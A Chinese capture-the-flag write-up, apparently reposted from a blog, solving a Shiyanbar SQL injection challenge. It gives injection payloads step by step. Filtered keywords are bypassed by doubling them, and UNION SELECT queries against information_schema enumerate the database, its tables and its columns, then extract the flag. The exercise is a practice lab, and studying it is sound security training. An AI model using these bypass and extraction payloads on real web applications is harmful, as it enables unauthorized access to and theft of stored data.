1.实验吧——sql注入1(flag,到底过滤了什么东西? )

本文阅读 2 分钟
首页 代码,C/C#/C++ 正文

1.正常访问:

http://ctf5.shiyanbar.com/423/web/            #如下图所示

img

2.输入单引号'测试:

http://ctf5.shiyanbar.com/423/web/?id='

img

3.在URL框里测试哪些被过滤了:

①输入单引号测试:

http://ctf5.shiyanbar.com/423/web/?id=%27            #很明显是字符型注入

img ②使用and测试哪些被过滤:

http://ctf5.shiyanbar.com/423/web/?id=' and 1=1 #               #如图所示,只要'闭合后,后面的空格+and+空格+空格+#被过滤

img ③尝试绕过and——双写法(注意空格也要双写),以及用手动写单引号闭合来绕过#注释符

http://ctf5.shiyanbar.com/423/web/?id='  andand  1='1                      #发现无报错,yes绕过成功

img

④为了进一步的验证可以在第一个闭合处,输入1

http://ctf5.shiyanbar.com/423/web/?id=1'  andand  1='1                      #发现无报错,yes绕过成功,回显数据。

img ⑤使用or测试:

' or 1=1 #                    #发现第一个闭合后,的所有东西被过滤,空格+or+1=1+空格+#,只有一个自动的闭合单引号显示

img

⑥尝试

' or 1='1            #不报错。。。。。

img 4.order by猜解字段数,虽然可以看出来,好像是1列(1个字段)。

但是这里的order by好像没有作用了。。。。。 img img img 5.那就使用union select测试:

①尝试一个字段:

' unionunion  selectselect  '1            #发现,回显正常

img ②尝试两个字段:

' unionunion  selectselect  1,'2            #发现,列数不同,所以只能是1列(列即是字段)

img 6.使用union select开始暴库,表,字段 ①库名

' unionunion  selectselect  database()'                #库名web1(注意:闭合时候,单引号位置要多次尝试,这次就是在database()之后手动闭合,但是order by时候就不行,必须要在1前面闭合)

img ②暴库中的表

' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema=database()'

img

' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  '1          #注意,只是双写后的要加双空格        #既然上面那一条是查询当前库的当前表查询不到,我们直接查询所有表即可

img ③暴表中的字段: ’ unionunion selectselect columcolumn_namen_name fromfrom inforinformation_schema.columnsmation_schema.columns wherewhere ‘1’='1 #出了点问题,字段名应该有flag的 img

④暴flag字段

' unionunion  selectselect  flag fromfrom  flag wherewhere  '1'='1

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/102968350
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复